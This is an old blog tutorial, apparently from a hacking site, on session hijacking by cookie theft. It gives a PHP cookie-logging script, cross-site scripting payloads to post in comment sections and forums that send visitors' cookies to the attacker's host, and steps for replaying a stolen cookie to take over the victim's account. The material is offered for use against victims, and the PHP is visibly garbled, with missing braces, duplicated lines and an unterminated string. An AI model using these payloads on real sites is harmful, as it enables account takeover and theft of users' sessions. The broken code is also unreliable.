Saturday, July 16, 2011

Session hijacking or cookie stealing using php and javascript

In computer science, session hijacking refers to the exploitation of a valid computer session—sometimes also called a session key—to gain unauthorized access to information or services in a computer system. In particular, it is used to refer to the theft of a magic cookie used to authenticate a user to a remote server. It has particular relevance to web developers, as the HTTP cookies used to maintain a session on many web sites can be easily stolen by an attacker using an intermediary computer or with access to the saved cookies on the victim's computer (see HTTP cookie theft).

Here we show how you can hack a session using javascript and php.

What is a cookie?

A cookie known as a web cookie or http cookie is a small piece of text stored by the user browser.A cookie is sent as an header by the web server to the web browser on the client side.A cookie is static and is sent back by the browser unchanged everytime it accesses the server.
A cookie has a expiration time that is set by the server and are deleted automatically after the expiration time.
Cookie is used to maintain users authentication and to implement shopping cart during his navigation,possibly across multiple visits.

What can we do after stealing cookie?

Well,as we know web sites authenticate their user's with a cookie,it can be used to hijack the victims session.The victims stolen cookie can be replaced with our cookie to hijack his session.

This is a cookie stealing script that steals the cookies of a user and store them in a text file, these cookied can later be utilised.

PHP Code:

function GetIP()
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = "unknown";

function logData()
$cookie = $_SERVER['QUERY_STRING'];
$register_globals = (bool) ini_get('register_gobals');
if ($register_globals) $ip = getenv('REMOTE_ADDR');
else $ip = GetIP();

$rem_port = $_SERVER['REMOTE_PORT'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$rqst_method = $_SERVER['METHOD'];
$rem_host = $_SERVER['REMOTE_HOST'];
$referer = $_SERVER['HTTP_REFERER'];
$date=date ("l dS of F Y h:i:s A");
$log=fopen("$ipLog", "a+");

if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n");



Save the script as a cookielogger.php on your server.
(You can get any free webhosting easily such as justfree,x10hosting etc..)

Create an empty text file log.txt in the same directory on the webserver. The hijacked/hacked cookies will be automatically stored here.

Now for the hack to work we have to inject this piece of javascript into the target's page. This can be done by adding a link in the comments page which allows users to add hyperlinks etc. But beware some sites dont allow javascript so you gotta be lucky to try this.

The best way is to look for user interactive sites which contain comments or forums.

Post the following code which invokes or activates the cookielogger on your host.

<script language="Java script">
document.location="; + document.cookie;

Your can also trick the victim into clicking a link that activates javascript.
Below is the code which has to be posted.

<a href="java script:document.location=''+document.cookie;">Click here!</a>

Clicking an image also can activate the script.For this purpose you can use the below code.

<a href="java script:document.location=''+document.cookie;"&gt;

<img src="URL OF THE IMAGE"/></a>

All the details like cookie,ipaddress,browser of the victim are logged in to log.txt on your hostserver

In the above codes please remove the space in between javascript.

Hijacking the Session:

Now we have cookie,what to do with this..?
Download cookie editor mozilla plugin or you may find other plugins as well.

Go to the target site-->open cookie editor-->Replace the cookie with the stolen cookie of the victim and refresh the page.Thats it!!!you should now be in his account. Download cookie editor mozilla plugin from here :


  1. VerifEyed is the world leading technology capable of determining whether digital images are original or modified (e.g., Photoshoped). VerifEyed divides the world of digital images into two groups: those having a genuineness verification (trustworthy) and the others.

    image authentication software
    image verificiation software
    image forensic software


Share our post if you like it..

Related Posts Plugin for WordPress, Blogger...

IP info



study (19) education (18) coding (11) Codes (9) ciphers (9) cryptology (9) CRYPTOGRAPHY (8) Hacking Tutorials (5) Ethical hacker/hacking (4) Exploits and Incident Handling (4) HACKING WINDOWS (4) Make A Cipher (4) Windows (4) password breakers/crackers (4) Dictionary (3) Ebook (3) Facebook (3) Facebook Emoticons (3) Google Dork (3) Google Hacks (3) facebook symbols (3) php hack (3) tools (3) ASCII art (2) Facebook Animated Gif Image Status (2) GRE (2) GRE Dictionary (2) Hack a Website (2) IELTS (2) Java: A Beginner's Guide (2) Password Cracking (2) Password Recovery (2) SOCIAL ENGINEERING TOOLKIT (2) Session hijacking (2) find the vulnerability (2) java (2) password-auditing (2) password-cracker (2) php (2) Abel (1) Backtrack 5 (1) Barron’s GRE word list (1) Breaking Ciphers (1) CIPHERTEXT (1) CRYPTANALYSIS (1) Caesar's Shift Cipher (1) Cain (1) Cain and Abel (1) Crypters Binders RC4 (1) DOS (1) Facebook Chat Text Generator (1) Fast leech generator (1) Hacking Tools (1) HconSTF (1) List of best anonymizers (1) Make fake virus (1) Number Shift Cipher (1) One Pig's Pen (1) RFI (1) Remote file inclusion (1) SEO (1) SQL injection (1) Security 504 Hacker Techniques (1) Steal/trace ip (1) The Key (1) The Rail Fences (1) Toefl (1) Uses of proxy server (1) Virus (1) Vocabulary Word List (1) Winding Way Cipher (1) blog tips (1) brute force (1) brute forcing. (1) brutus (1) brutus-aet2 (1) (1) brutus-password-cracker (1) bypass web-filters (1) chat (1) command prompt (1) cookie stealing (1) crackers (1) e (1) fast download (1) hacking-software (1) hot file (1) improve site (1) ip catcher (1) ip tracker (1) leech (1) leecher (1) list of proxy servers (1) mail (1) mega upload (1) mobile (1) network-sniffing (1) rapid share (1) regular download link into premium (1) serial keys 94fbr (1) symbols (1) th3j35t3r's DOS tool (1)



☁ Partners Link Cloud ☁